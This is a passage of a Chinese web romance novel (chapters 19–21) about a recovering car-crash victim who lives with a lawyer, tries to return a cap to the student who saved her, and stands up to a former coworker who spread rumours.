刷了会儿评论区,原来是最开始江玉鸣手拿帽子的图吸引进了第一批人,由于她发帖时粗略描述了许野救她的故事,这批人中有人相信,有人骂她造假,有人骂她起号不择手段,吵架带来的高互动率促进推流,使她的帖子爆了。 当时辉德医院护士事件上过新闻,有人扒出来,问她是不是当事人,这也是帖子火的原因之一。 邢葵捂住眼睛划看评论区,避开无凭无据骂她的言论,从手指缝隙寻找她想见到的。有人说,这款帽子他认识。 【主包主包看我!这款帽子很像我前公司为金诺言设计的周边,但是样品送到金诺言后被毙掉了。】 【问了前同事,你看看帽子调节扣下面,有没有一串用小蛋糕拼出来的“GPROMISE”,是的话这就是那件样品!】 【不怪主包找不到,是样品的话全世界就这一件。】 邢葵翻过帽子,调节扣底下确有一层纹路,但蛋糕图案拼字花里胡哨,瞧不出来是不是“GPROMISE”,难怪金诺言毙掉这个设计。 “金诺言”,又称“GPROMISE”,是超有名的全球连锁食品品牌,主营烘焙类食物,线下蛋糕店超一千家——她能联系上金诺言老总,让人家给她做件一模一样帽子吗?开玩笑! 有道是,该放弃就放弃,邢葵果断找到许野微信:【您好,打扰了,我是此前您在辉德医院救过的、坐轮椅的女病人,还记得您当日借了我您的帽子吗?咖啡色、有一排刺绣小蛋糕的鸭舌帽,我说过要还您件新的,我找不到同款,您介意我还件别的吗?感谢您的阅读,再次感谢您的救命之恩。】 微 风习习,大学校园深红色跑道上,矫健的腿如同猎豹的腿一般窜出,十秒之后,小麦色的男大学生在一百米的位置停下,扯过长凳上的毛巾。 “许哥,刚你手机亮了。” 许野一拧粗野剑眉,远超常人力气的手捞起手机,深褐色的眸子凶戾,旁人看着纷纷噤声,他们都是田径社成员,特别清楚许哥最烦被打扰训练,希望发信息的人自求多福,千万别发那种车轱辘废话,我靠?许哥脸怎么红了? “喂。”许野望过来,极高的个子让他看谁都像俯瞰,“就你,你有女朋友是不是?你平时怎么回女朋友消息?” “what?”被点到的男生震惊。 “要我再说一遍?” “没有没有,哪能呢,我听清了,许哥你听我讲,我有一句万能回复,无论女票发什么,你都回‘宝宝,好的好的,爱你哦’就对了。” 第19章 邢葵坐在床上,咬着指甲,费解地盯着手机内收到的回复。 许野:【好的】 许野:【宝】 怎么一股某宝人机客服味儿?被盗号了?救她的分明是位不好惹的校霸风男大,说话口吻很冲啊。 许野:【随你】 这就对了!邢葵缓了一口气,刚才可能是别人发的吧,她回了句谢谢,并表示会尽快选购要还他的帽子。 点开某宝,邢葵回忆起许野形象,印象中,许野高大挺拔,可能有一米九,穿着军绿色棉服,露出来的小麦色脖颈、手腕皆数虬劲有力,有种野生的猛兽感。 这样的人少接触微妙,脾气一个不好,随便就能揍扁她,邢葵晃晃脑袋,搜索起咖啡色的鸭舌帽,尽量挑选和许野帽子相近的款式,一上午加了十几件到购物车。 【还没吃饭?】周镜的消息跳出上边栏,邢葵方意识到肚子饿,快速回了句便点开外卖软件。 不看不知道,一看唇角止不住幸福上扬,周镜住的小区周围全是好吃的,列表刷都刷不完。 可惜她要忌口,很多东西不能吃,点个不麻不辣的麻辣烫还行吧? 素菜加了七八样,荤菜加了七八样,结算页的价格瞅得邢葵肉疼,但她决定不亏待自己,毅然决然点击付款——等一下!先退出去领张红包券,ok,付款! 骑手来得飞快,邢葵套上外套挪下床,瘸到门边开门取餐,带着外卖坐到餐桌,拆开包装,期待地搓手手,拿起一次性木筷。 好久没吃麻辣烫了!她来了! 筷子抬起,手机也不合时宜地亮起,邢葵望了眼,接通来自周镜的微信语音电话:“喂周律师,怎么啦?” “你觉得,你应该吃麻辣烫吗?邢葵。” 邢葵悚然,抬眼扫视四周,慌张得不知该冲哪个方向说话,卧室没有监控,但外面真的有:“你你你,我我我,我点的牛骨汤底,没加辣。” “牛骨汤底?”扬声器内声音尾调轻不可察地上提,听上去温温柔柔,可昨夜他也是用这种语调捕捉她的唇,一遍遍地问她药吃够了吗却不给她回答机会。 邢葵猛地抓紧筷子,低头大口吃起麻辣烫:“不管,我想吃,等你回来我都吃完了。” 钢笔轻轻敲击桌面,邢葵抖了一下,天大地大吃饭最大,继续吃,嘴巴塞得鼓鼓的,“你别生气嘛,偶尔吃一回又没事,你要生气的话,你在外面撒完再回来。” Ley&Corazón律所南州代表处,周律办公室。周镜削瘦的手指拿着钢笔,盯着屏幕中快速进食的邢葵蹙蹙眉,神情无奈:“我没生气,吃慢点。” 她那么想吃,他还能怎样,他又不是厉乘川,心眼小到可怜,深更半夜嘱咐邢葵要远离他。 邢葵咽下嘴里吃的,舌头下意识舔了下被周镜亲肿的唇瓣:“当真不生气?” 周镜望着监控中她的唇:“嗯,慢一点,晚上别点外卖,我今天下班早,回去给你带晚饭。” 邢葵露出笑:“好。” 周镜:“乖。” 说完他一怔,落在硬质钢笔的指尖微微收紧,也是,是乖,不乖怎么能独自一人吞下车祸真相,不乖怎么能被亲到晕眩也不闹。 周镜取过桌旁日程表,看了眼,放下,起身拿起大衣往办公室外走。 “下午六点和兴乘建设李经理的见面提前,我现在去见他。” 一群人追随在周镜步伐之后。 “可是李经理那边……” “让他改时间,是他有求于我,不是我有求于他。” 事务所每一层都在忙碌,第一层却吵吵嚷嚷,有两个男人正在打架,旁边一些事务所的职员在拉架,再旁边,一名女性抱着臂倚在墙上,直冲两个男人翻白眼。 周镜驻足,身后立即有人讲解:“是家事部接的案子,那两男的是一对兄弟,女的是哥哥老婆,哥哥怀疑弟弟勾-引嫂子,弟弟不认,因此闹得不可开交,本来兄弟俩好到穿一条裤子,如今见面就打,依我看——” “依你看?”周镜语气温和视线也温和,是平视,被看的人却不敢和他对视地低下头。 “我多嘴了。” 周镜无视打架拉架的人们,走向办公楼外,上车离去。 依他看,兄弟情谊几十年,为一个女人产生裂痕很无趣,如果他是被怀疑的弟弟,他会让女人知难而退,主动离开他们兄弟。 “你说。”留在律所的职员们勾肩搭背,看着周镜的灰色奥迪驶离,“咱们律所全球top3,每年营收几百亿,周律身为合伙人,怎么就开辆十几万的车。” “这你就孤陋寡闻了吧,周律家里从上世纪就有人从政,人家全家习惯性节俭。” “我要是他,有钱到那种程度,也不在乎用车价彰显身份。” “但今天有点古怪啊,周律很少调整行程,是有什么大客户需要吗?” “得多大的客户,几千万的case周律也瞧不上啊。” “我瞧得上,嘿嘿。” 邢葵捞干净麻辣烫中最后一片娃娃菜,心满意足靠在椅背咸鱼瘫瘫,想到有监控要坐直,挣扎了下放弃了。 周镜家和江玉鸣家比不算大,律师不代表就有钱嘛,但也和江玉鸣家一样,内部装修没多少颜色,江玉鸣家好歹养了玫瑰,这里连根草都见不着。 也没有照片,不知道他是不是父母双亡还是怎样,没关系,她又不跟他爸妈谈恋爱。 看了会儿,邢葵拿起手机,早上她打开了小红薯的互动通知,几个小时过去新增消息又99+,很多人都在蹲后续,她的小破号粉丝都涨了一千。 以前她想用朋友圈记录生活但失败,要不试试小红薯这类的平台?不仅能记录人生,粉丝数涨上来的话,接广多笔收入,点麻辣烫时也能多加几种菜。 邢葵翻翻手机相册,江玉鸣配合她拍摄了不少拿帽图,她挑出几张没发过的,编辑新帖。 网友好奇拿帽的手来自谁,是不是出自她的救命恩人,于是邢葵在新帖中讲了她具有无敌美貌的医生。 很快有人回复。 【我不信!哪来你描述的那种医生!除非告诉我地点科室姓名,我要亲自去瞧瞧。】 【感谢分享,今晚做梦有素材了。】 【真有这么好看还愿意帮忙拍照的医生,我天天都能生病。】 【上回长得像校霸的恩人男呢?主包找到他的帽子同款了吗?蹲蹲后续,我喜欢这一款啊啊。】 怎么会有人喜欢校霸?邢葵挠挠头,她是不是说喜欢帽子啊? 想了想,她回复道:【帽子是GPROMISE的周边,但只有这一件,姐妹可以识图找找相似的。】 【不是!帖主我指的是人是人是人!帖主还会和校霸男继续联系吗?考不考虑救命之恩以身相许?[偷笑][偷笑]】 尴、尬,还真是钟意校霸啊? 邢葵坐正,收拾起桌面外卖垃圾,去到厨房用清水漱口,什么年代了还以身相许,完全没想 过啊,她只想尽快归还对方帽子结束他们意外的相遇。 校园操场,田径社成员们围在许野身边,忽地散开。 “许哥,我瞧你救的这个女生对你没意思啊,你救人的时候是不是戴着口罩,她没瞧见你的脸?” “怎么说话呢,我许哥戴口罩也是一等一的大帅哥。” “那她怎么不喜欢你?”男生伸出手指列数,“救命之恩,恩人又长得帅,搁我我早缠上来了。” 许野冷睨了说话的男生一眼,深褐色的瞳孔透着锋利,风吹着他不长的头发,发丝在风中随意凌乱,整个人充满野性荷尔蒙。 “呵呵,许哥,您别瞪我啊,我害怕,欸,那女生长得漂亮不?” 许野闻言颤了下眸光,他和心动对象初逢的那一天,她脸上有道贯穿额头的狰狞伤口,许野下撇嘴角矜持地点了一下头。 漂亮,怎么不漂亮,他看不到疤,在他眼里她像小蛋糕一样香甜可人。 “漂亮就没问题啊!许哥,你快找借口约人家,还帽子算什么,你得多主动才能有未来。” 周镜家里,邢葵想着,既然她都发了小红薯,还有许多相似性质的平台能靠积累粉丝挣外快,发一个要做一份素材,发两个也是要做一份素材,不如多发点。 找工作要光撒网,做自媒体也一样,说不定哪个平台就给量了。 钱不会从天上掉下来,心动也得行动,邢葵想完便建起账号,要给账号取个统一的昵称,昵称不一定要好听,但一定不能绕口,要好记,最好符合账户调性。 脑震荡的她思索这些实在很累,几乎每隔几分钟就要捶一下头。 得好好想,这关乎到她以后吃麻辣烫能多加几样菜,不仅麻辣烫,还有香锅、冒菜……点螺蛳粉都能多加个炸蛋!糟糕,又走神了,再捶捶头。 小葵花……不行不行,被亲戚刷到能猜到是她,大业未成不能中道崩阻。 改名字有次数限制,邢葵想了几个记在备忘录中,之后她再看看同行如何取名,这会儿脑子再动下去就得永久性损伤了,她点开某宝继续搜索帽子添加购物车,疲倦得缓缓阖上眼睛。 手机滑掉在被褥上,百叶窗中阳光从金变红再变暗,温热瘦薄的掌心覆到她的面颊磨蹭,她轻颤眼睫,知道是谁,不想睁眼,别给她下班吻啊求求! 祈求失败,周镜猝然用力按住她的下唇,仿佛一把火洒进她的嘴里。 “唔唔。”骗我吗?说了不对麻辣烫生气的! 周镜抵住邢葵后脑,眼皮垂下,睨着安静躺在被褥但亮起的手机,素来沉着的眸中生出几分燥热。 许野:【要不要一起吃个饭?】 许、野,很好,邢葵,你究竟跟他几个兄弟有关系? 第20章 唇近乎被封死,邢葵现在是渴肤症人设,无论周镜再如何用力亲她,她都该不抗拒甚至兴奋想探求更多是吧? 不可以!她演不出来! “唔。”她想尝试演一个“抗拒但想要、但抗拒占上风”的渴肤症,由于演绎难度过高,半秒后泪眼婆娑地放弃。 算了算了算了,人生在世,要学会和自己和解,而且其实,很带劲。人嘛,偶尔也想试试剧烈的吻,能接受能接受,老天爷,周镜总不会回回亲这么重吧? 唇舌缠得邢葵连喘气都困难,靠在枕头上承受着,有点难受地往后躲,有只手置在她的后脑勺,没让她躲成功,但五指由扣变抚。 不知过了多久,温柔有热气的话音贴在她的唇瓣,酥在她的耳窝:“药吃够了吗?” 你说呢?邢葵超级无敌想点头,想到她的渴肤症人设,理应越亲越贪渴,不该点头,说不出来,望着周镜委屈可怜,睫毛早已潮湿。 周镜停在她唇瓣一线距离,镜片在深吻中被她的皮肤压得模糊,近在咫尺的唇喘着气:“嗬,嗬。”控在她后脑的手微松,“医院开的药吃了吗?我没尝到苦味。” 气声让耳朵发痒:“我、我忘了,你别生气!”抓住周镜松手时机,邢葵后躲,交叠双手挡住红烫的嘴巴,“我这就去吃,你别再喂我药,至少今天!” 知道怕,就该远离他们兄弟,一天两天三天,你能忍多久。 热量离开邢葵,周镜起身,拦断穿过百叶窗的昏光,青筋分明的手背抬起,优雅拭掉唇上湿润:“先起来吃晚饭吧,我带了鸡汤,饭后半个小时再吃药。” “是、是医院开的药吧?”邢葵忐忑,心脏七上八下,慢吞吞从床中央挪到床边,被子起伏,落在被子上的手机滑到她侧边。 周镜拿起她的手机,放到她手上,看着她,目光轻柔平顺:“邢葵,你生病了,不该讳疾忌医。” 意思是,晚饭后要吃的不仅医院开的药——妈妈救我! 月光黄黄,流动的云如被盖住星星,害羞遮住夜空的眼睛。 周镜退出邢葵房门,走进对面书房,靠在关上的门,沉稳的呼吸失控急促,灰色针织毛衣后胸口起起伏伏。 邢葵有她的主见,不甘心受控,中途偷偷还了手,准确来说,是还了舌头。 双眼见不到的湿热口腔中,软滑的长肉胆怯又主动地擦过周镜舌侧,叫他头皮发麻,后颈到尾椎骨一路绷紧。 随后周镜被迫更深更用力,把胆小的邢葵镇住,才未失去掌控权。 周镜靠在书房的门上,重喘着气缓慢坐下,屈起一条长腿,瘦长的指头无力垂落,舌头……擦过……该死,热意翻涌,周镜咬住虎口。 她用的是他家的牙膏,薄荷味,薄荷凉,可以止热。 虎口渗出血珠,周镜镜片起雾,咬着手的薄唇战栗,一双眸子漆黑幽邃。放下手,他摸索衣裳口袋,找出手机。 【许野想请邢葵吃饭,你知道吗?】 水流哗哗抚过宽阔背脊,厉乘川从淋浴间走出,黑色毛巾擦拭着头发,眉目英俊矜贵,身材也一看就是注重合理锻炼。 宽大的手拿起手机,屋顶简约全铜线条形的水晶灯亮着光,厉乘川沐在灯光中,眉毛微微压下来。 京江大学,男生宿舍,堆积杂物的桌上闹钟显示晚上八点。 “天杀的!我补考没过啊啊啊要重修了!”四人宿舍,上床下桌,左边靠门的男生痛心疾首地远离电脑屏幕,靠在椅子上打起电话,“喂,宝宝,三月新上的电影?好啊好啊,我们这周去看,么么。” “弟妹!别看电影了!他补考没过!”对面的男生抱着椅背喊道。 “去去去。”男生瞪了瞪他,又和女友温柔细语,“别听他的,喂?宝宝?宝宝!” “哈哈哈哈哈,我说你,好好学习吧,才大一就不及格,毕不了业谁要你。” “去你的,你就是羡慕我是咱们宿舍唯一一个有女朋友的。”男生白了他一眼,看向左边靠窗的床位,“欸,许哥,你的妹回你没?” 什么他的妹,许野躺在床上懒得搭理他,室内开着空调,他只用穿一件短袖,袖下露在外的臂膀肌肉结实饱满,更显气质凶狠,随便往床下投一眼就让男生讪讪闭嘴。 抓着手机的手指紧张地抠着手机边,在焦灼等待心动对象的回答。她回答了! 信息将邢葵从周镜的吻中拽出来,救命恩人肯定不会无缘无故邀她吃饭,八成是在点她,不识好歹,救命大恩光还帽子连顿饭都不请,于是她回复道—— 【可以的,我请你,地点我定,托你的福,我已经安全出院了,只是最近行走不便,不介意的话麻烦你等一周,到时候我们见面,我将帽子一起带给你,谢谢你。】 热意涌红许野耳根,双手捧着手机,心脏雀跃得快要飞出胸膛,要见面了,要坐在同一张桌上吃饭,对了,他还不知道心动对象的姓名。 初恋……她会 姓什么呢? 白?她白白的,可能是因为气血不足,可能是那天被吓着了,总之她苍白得像最基础款的奶油。 姓白的人少,她有没有可能姓王姓李?少年怀春心思如麦芽糖丝,黏稠牵扯,覆裹心脏,光是想都让红蔓延脸颊,喜欢喜欢喜欢…… 【邢葵是我要结婚的人。】 邢、葵,是、我,要结婚的人。 许野茫然张唇,厉乘川突如其来的新信息让他迷茫,接着深褐色的瞳目微张,他猝地坐起来,铁架床嘎吱一响。 床下三名室友望过来:“吓我一跳,许哥,咋了,她回你了?她答应了?” “她当然答应啊,咱许哥主动邀约,除非她有男朋友。” “且男朋友不输许哥。” 一周后。 阴天光线不好,百叶窗外天空云层厚积,邢葵靠在床上,往咖啡色带标签的帽子上贴着刺绣贴。 选了几天没选到和许野那只特别相似的款,她灵机一动购入同色鸭舌帽,然后买了几款蛋糕形状的自粘刺绣贴,自己贴。 贴的时候下意识抿唇,抿唇又下意识想起周镜,这人真真规矩得可怕,每天算准时间给她三吻:早安吻兼上班吻、下班吻和晚安吻。 每天定时定点拜访她三趟,仿佛她的嘴是他上下班的打卡点。 而且规矩到从来不将吻转移到脖子以下,连脖子以上除嘴以外的皮肤也不碰。仿佛真是在定时定点喂药帮她治病。 人挺好的,说话温文尔雅,天天给她带吃的,就是接吻太用力,好几次她感觉她的舌头要被卷掉了。 期间和江玉鸣通过几回电话,江玉鸣总是叮嘱她追求周镜要多和周镜接触。真的有用吗?不接吻的时候周镜待她客客气气,视她与旁人没什么不同,不像有好感。 邢葵贴好刺绣贴,拿帽子和原版对比,有七八分相似,满意笑笑,挪下床。 今天是她和许野约了吃饭的日子,出院时,神经外科的医生交代过,她颅内出血,需最少两到四周绝对静养,在医院躺了半个月,又在周镜家躺了一周,如今已到第四周,时间还没完全到,但她总不能让救命恩人久等。 腿没好,还是不能久坐不能久站,不过走路瘸得没先前厉害,去吃个饭没问题。 穿好衣裳,邢葵敲响周镜书房的门,今日周六,他不用去律所也有工作要处理,坐在书桌前认真的样子让她经不住多看几眼。 “周律师,我要出门一趟,和人约了饭,下午回来。” 周镜写着字:“嗯,玄关抽屉里有钥匙,你拿一把,我下午有个委托人要见,未必能在你之前回家。” “好,知道啦。”她会尽可能晚地回来,躲掉下班吻!邢葵转身。 “等等。”周镜叫住她,看了看腕表,“地方远吗?我送你?” “不用不用,挺近的,就飞燕商场,我坐两站地铁就到。” 邢葵对腿有数,走太远她半途就废掉了,就近取材,周镜家小区附近有个商场,她选了商场一楼一家露天餐厅。 还不清楚许野来不来呢,那天之后他就没再给她发过消息,她发去餐厅地点也没回,不知是看到默认了还是怎样,不管,她把她的事做到位。 瘸着坐到餐厅椅子上,戴着帽子口罩的邢葵联系许野,告诉他她到了,靠上椅背缓了会儿,弯下腰捏腿。 不远处花圃外,一辆普通常见的奥迪慢慢停进一排车中。周镜停下车,遥望着邢葵捏腿,温和的面容上,眉轻微皱起。 约饭,是指和许野吗?可他分明已将她和许野的接触告知厉乘川,厉乘川占有欲深重,当应当天就着手处理完毕,许野不该会来。 周镜看了眼时间,还有工夫,他能等一个小时。 一个小时后……车开快一些,还能再等一刻钟。 一刻钟后……周镜拨打电话:“喂,程总,下午有事,改成明天。” 连坐一个多小时,邢葵腿已不太舒服,膝盖内如同有黏液粘连,酸胀不止,旁边有没人坐的椅子,她盯着看,好想把腿跷上去,可她接受过多年素质教育,不会公然这么做。 饭点过去,邢葵趴到桌面忍痛,她倒数十秒,许野要还不来的话,她就自己点餐了。 十、九、五、一:“服务员!” “邢葵?”附近,一伙人正在围着食物拍照,其中一名女性闻声转过头,走过来,“真是你啊,戴着帽子我差点没认出来。” 是大学同学,邢葵大学时正值新冠疫情期,大家伙儿天天要戴口罩,彼此熟稔戴口罩的模样。 帽子影响到辨认,但刚刚邢葵喊了一嗓子,她望着同学呆呆,糟糕了,这人,是她先前删掉的朋友之一。 对方和她上学时只有点头之交,但因为后来都在京江市上班,持着多少是个人脉的心思,对方和她联系上,逐渐发现邢葵适合当垃圾桶,习惯找她抱怨工作。 “你的微信我怎么发不过去了?是你把我删了吗?” 明知故问。 “可是出什么事了?都是朋友,你有事可以跟我讲。”对方温温柔柔地笑。 笑得真假,周镜不笑也比她温柔,邢葵低头看菜单,体面地道:“出了个车祸,调节心情。” “车祸?你被车撞了?天呐!” “嗯。”邢葵翻着菜单,鱼虾,不能吃;海鲜,不能吃;酱油,不能吃…… “那你是不是现在不用上班?” “嗯。”毛血旺,过辣,不能吃;红烧趴蹄,过荤,不能吃…… “真羡慕你。” 翻菜单的手指一停,邢葵指腹落在一盘没滋没味的清炒时蔬上。 “不用上班太幸福了吧,不像我,周六还要出来拍照片。”她做摄影工作。 “你羡慕我什么啊?”邢葵放下菜单,取下遮挡额头疤痕的鸭舌帽,仰起一张病容,“是羡慕我出车祸差点死了?还是羡慕我毁容留下疤?还是羡慕我十道菜九道都不能吃?” “你!”好恐怖!好丑!她怎么变得这么丑! “你什么你,我以为在我说‘出车祸,调节心情’时,不,在我删掉你时,你就该明白你带给我的观感多糟糕,就该安静走开,十多年素质教育没教过你人要有点数吗?” 好脾气的邢葵极少直白怼人,说着凶话,眼眶滚着泪花,相当胆怯,也相当勇敢。 兔子被欺负狠了也要学着刺猬竖起毛作刺扎扎人,胆小鬼同样有反抗的勇气。 很熟悉的一幕。在交警大队时,她也是如此,既缩头缩脑,又坚定地质问肇事者,散发不可忽视的光彩。车中,周镜开门下车。 很熟悉的一幕。在辉德医院时,她也是如此,既绷紧浑身每一寸肌肉,又坚强冷静地稳定护士。商场一楼玻璃窗后,许野望着邢葵,是他救她不假,但前提是她先漂亮地自救。 他不该来的,厉乘川的警告令许野得知了心动对象名字,也令许野拿起剪刀绝心思。可是麦芽糖粘稠,剪刀剪得断却剪不绝。 他试过上百次要跟邢葵说不用来了,信息却怎么也无法发送,意识到时,人已经坐一个多小时地铁到达商场,结果撞见路边周镜的车。 他只能躲起来,但此刻许野十分担心邢葵,人在不占理时会恼羞成怒,他得出去……周哥? “你!邢葵,你干嘛乱咬人,我好心关心你,不就出了个车祸,别觉得全世界都对不起你!” “你关心个、个。”邢葵想说屁,有点说不出口,结巴几声,喊道,“谁对不起我我不清楚,我清楚你对不起谁,那边几个是你同事吧?喂!” “你干什么!”对方立刻上手阻止。 邢葵挥着瘦弱的手臂抵挡:“短发、小眼睛,喂!你去年还是实习生吧,她怕你抢她位置向领导打小报告阻碍你转正你知道吗?戴眼镜、大波浪,喂!你现在是她的上级、之前是她的同期吧,你升级的时候,她在背地造你黄谣你知道吗?” 对方双眼一戾,一个巴掌向她挥来。 邢葵眼皮都吓得颤,这局面她预料到了,可造同性黄谣真的令人反胃,今日难得机会她一定要揭发。 巴掌没落到她的脸上,突然出现的周镜帮她挡住,紧接着餐厅店长、商场经理纷纷跑来。 对方吼向餐厅店长:“还不把闹事的人赶出去,我们公司来替你们 餐厅做宣传,你们就这种反应速度?” 店长严肃地望向邢葵,刚要张嘴,商场经理一脚踢开他,冲周镜点头哈腰:“周律师,不知道您大驾光临,您放心,您的用餐体验我来保障,快,还不把这个谁轰出去?” 对方:“什么?” 经理:“出去前做个登记,之后你就是飞燕商场的黑名单客户,全国的飞燕商场你都别试着进了。” 对方不敢相信,气得嘴唇都发起抖,冷笑着看向被周镜护在身后坐在椅子上的邢葵:“怪不得人变了,原来是傍上了大款。” 邢葵气笑:“哪有开十几万车的大款。”说完又尴尬扯扯周镜,“我没瞧不起你开十几万车的意思,我是说,开十几万车的人不是大款。” 经理:“……”这姑娘是不是不了解周律师有多有钱啊?“还不快把人轰出去!” 对方被狼狈赶走,她公司的人也要离开,戴黑框眼镜的大波浪姐姐走到邢葵面前:“谢谢,她会被开除。” 邢葵歉然:“对不起,没能第一时间站出来。” “没关系,这件事本就和你没关系,可以的话,我们加个微信?” 高高兴兴加上大波浪姐姐微信,邢葵挥手和人家道别。 周镜看了眼她的笑容,温和看向商场经理:“辛苦。” “哪能呢,您客气了,我们董事长说过,没有您帮他洗脱污名就没有飞燕商场今天,您是飞燕商场全体职工的恩人。” 原来是这样,邢葵亮着星星眼望向周镜,望得周镜心里一跳。 “回家?” “嗯。”邢葵想站起来,奈何坐了几个小时的腿不允许,她索性张开手,将它变成攻略周镜的机会,“抱。” 周镜目光缓和,弯腰抱起她,邢葵扫向腰侧和膝盖,手居然没像第一回的抱一样蜷起,也许周律师不是一点都不对她动心? 商场内,许野望着周镜抱起厉乘川的未婚妻,他的心思不太干净,看这场景也不干净。 拿起手机,本能拧着剑眉拍了张照片,又在本能驱使下发送厉乘川。 发完后悔,又手忙脚乱撤回,周哥是全兄弟皆知的不婚主义者,他瞎想什么。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 20-30 第21章 车行驶着,邢葵坐在副驾驶座上,弯着眼角看手机,刚和新认识的大波浪姐姐互通了姓名,她很开心。仍戴着蓝色外科口罩,口罩后的唇叫人百亲不厌。 还没到一百次,一日三次,刚过八天,加上她刚搬进周镜家那晚的两吻,加上今早的早安吻,总共二十七次。 “在高兴什么?”周镜聪明,想法刚从脑中生出便同步计算出次数,喉咙瞬间发紧。 许野是会被渴肤症看中的形象。 许野年方二十。 许野精力蓬勃。 她今日出门十之八-九是应许野的约,她来见许野是为什么,明明他们是兄弟,她却丝毫没有透露。她想,换药吗? 那很糟糕,周镜在偷听到厉乘川对邢葵说的话后,绝意逼退邢葵,逼退,不是让她改换另一个兄弟,并且背着他。 “嗯?”邢葵望向周镜,口罩遮不住的双眼圆润纯澈,水洗过般干净,盛着发自真心的笑意,“就是高兴有些话终于说出来了。 身为女性去造另一位女性的黄谣真的很恶心,可我去年不敢说。”她低头,“我害怕,她能背地里向领导打小报告,能信口造人黄谣,要是我同她决裂,她也会咬上我。” 邢葵抠手指,十分抱歉,“那时的我不够勇敢,只能发个表情包转移话题,我很喜欢刚才喊出一切的我。” 她偷偷地抬眼,瞄周镜,他会不会觉得以前的她欠佳?周镜安静地倾听着她说话,神容温和,不作打断,好似没听见任何不妥。 他好看的眼睛也平静,眉弓高,故眼窝深邃,容易让人看得陷进去,尤其接吻的时候:“不对。” 什么不对? 邢葵一怔。 车辆驶到小区楼下,周镜不紧不慢地停车,“邢葵,你的手上没有武器,有人在你面前表露阴险丑恶,你选择回避,这是对你自己、对你家人的负责。人都是会变的,现在的你更加勇敢,这很好,但这不意味着过去的你不好,你该学着喜欢每个阶段的自己。” 邢葵心跳有一秒钟失控地加快,人这一辈子或多或少行踏有失,周镜温柔地肯定每个阶段的她。 “你下班了吗?”邢葵靠近。 “这会儿才下午两点。”周镜露出不明所以的眼神,接着黑瞳骤缩,邢葵揭开挡脸的蓝色口罩,如一阵风凑上来堵住他的唇。 “我想要预支下班吻。” “没有预支的规矩。” “是啊,所以我在强吻你。”邢葵停在周镜唇边甜甜一笑,“多谢周律师,我现在超有勇气的!让我强一下,大不了晚上我再让你强回来。” “……”你在说什么,没让你将勇气点在这里。 周镜眉眼温润,鼻子很挺,唇说实话也很好吃,好吃到想将他亲到大汗淋漓,鼻梁渗出汗珠,但邢葵没见过他出汗,他大多数时候只是喘。 驾驶座和副驾驶座的位置,注定他们此刻吻姿不会舒服,邢葵腿疼动不了,于是直接把周镜往她这里拽。 周镜在反抗,他在试图抢回控制权,但邢葵此时超勇,他一动她就咬他,其实也没几分威慑力的牙齿触碰周镜,咬得他呼吸错乱,方寸丧失,金丝眼镜一片雾蒙蒙。 因为贴贴就把控不住,那太低级了,是相遇迄今桩桩事件都在证实邢葵是个美好的人,被四散光彩的人贴贴才会沉陷。 邢葵亲周镜纯粹是心情愉悦,车窗外乌云绵绵的天空落下淅淅沥沥小雨,车内只有邢葵毫无技巧单纯取乐的吮咂,噢,还有周镜的喘音。 “邢,嗬,嗬,葵。”第二十八次吻,周镜虎口处他自己咬的伤滚烫。 “别叫嘛。”勇气时间结束,邢葵缩进副驾驶座,戴好口罩,弱小可怜,“我渴肤症犯了,你能理解的,对吧。” 周镜手穿进发丝,偏过身去,仍在急促喘息,胸膛起伏,好像不理解欸。 车窗一层层氤出热雾,邢葵心虚地咽口水,听了五分钟后伸出手指,拽拽周镜灰呢大衣。 又一个五分钟过去,热息渐渐平稳,周镜放下撑头的手,没有怪罪地望向她:“饿了吧,回家吃饭。” “嗯!”邢葵盯着周镜下车,走到她这边,伸手抱她,这才笑开,靠进周镜怀里,听着他稳健的心跳,心放妥当,“确实饿了,我今天约的人不知道怎么回事放我鸽子,改天重约。” “你还要再约他?” “咋、咋了?”咋心跳乱了,是替她不平吗?“没事的,就一次放鸽子,他可能有事,他救过我的命,放一次鸽子能接受啦。” “他救过你的命?”周镜抱着她进入电梯。 “对啊,我跟你讲,就是我住院那会儿……” 周镜听出来了,邢葵一点都不清楚许野也是他们兄弟之一,合着是个误会。不,不完全是误会。 邢葵是只想还帽子再请吃饭报恩,但许野,以他不近生人的性格,能主动邀约邢葵,不正常。 不过厉乘川会掐断少年人萌芽的心意,大概已经掐断了。 周镜家对面,彻彻底底打扫过、重新布局过的屋子内,厉乘川坐到漆黑的真皮沙发上,宽大的手霸总风地搭在沙发面,满意地看着他的新家,离邢葵近的家。 一周过去,厉乘川终于搬了进来。这期间,有周镜照顾着邢葵,他又分别叮嘱过两人,还算放心。 周镜还帮他点出了许野这个不知道从哪一块儿搭上邢葵的潜在情敌,作为兄弟相当可靠。 收到周镜提醒的当天,厉乘川便猜出许野可能不知邢葵身份,于是向他点出,许野也当晚就回复了他。 3月x日下午20:08 厉乘川:【邢葵是我要结婚的人。】 3月x日下午21:07 许野:【我明白了,厉哥】 问题解决。许野在兄弟里年岁最小,对外凶狠,对内极听兄长们的话。这次的事是个意外,身为金诺言董事长独子的许野,连家业都不在意,只钟爱田径。 这不,几十分钟前,许野刚误发了一条消息给厉乘川并撤回。 许野:【抱 歉厉哥,田径社要采购护膝,我发样图时发错人了。】 厉乘川回复没关系。 要见到邢葵了,他心情好,凛厉的眉眼间都泛着愉色。 可伸缩的黑色大理石茶几上放了一袋水果,是送邢葵的,刚刚厉乘川去敲过周镜家的门,不知何故没人应答,可能出去了可能没听到,他等几分钟再去敲敲。 不知又修养了一周,邢葵身体如何,气色可曾转好。 周镜和他一样不会做饭但有钱,理当不会在饮食上亏待邢葵。 “我想喝乌鸡汤,我们点乌鸡汤吧。” 门外传来声响,离得远,厉乘川没听清,但似乎是邢葵嗓音,他立即站起,抓过水果袋疾步走向门边。 “这个季节有芋头吗?有点想念糖蘸芋头,我还想吃草莓!我们再点份水果吧!” 草莓,他买了。厉乘川兴冲冲推开门。 门外面,靠在周镜怀里的邢葵笑眼明显地望过来。 愣了一下后,邢葵挥手:“嗨,厉乘川,好久不见。” 厉乘川笑不出来,面色冷暗:“怎么,这栋楼也和你家那边相同,没电梯需得抱着上楼?” 周镜下意识垂眸看向邢葵的嘴,好在她戴着口罩,没让厉乘川一眼看到更刺-激的证据。 被问的邢葵皱眉望了厉乘川一眼,这人好离谱啊,就这么见不得兄弟谈恋爱嘛。 厉乘川盯着周镜,等他回答。 周镜放下邢葵:“你先进去点外卖,我跟他有话要说。” 邢葵:“好。” 厉乘川:“等一下。”他把手里的袋子递给她,“水果,买多了。” 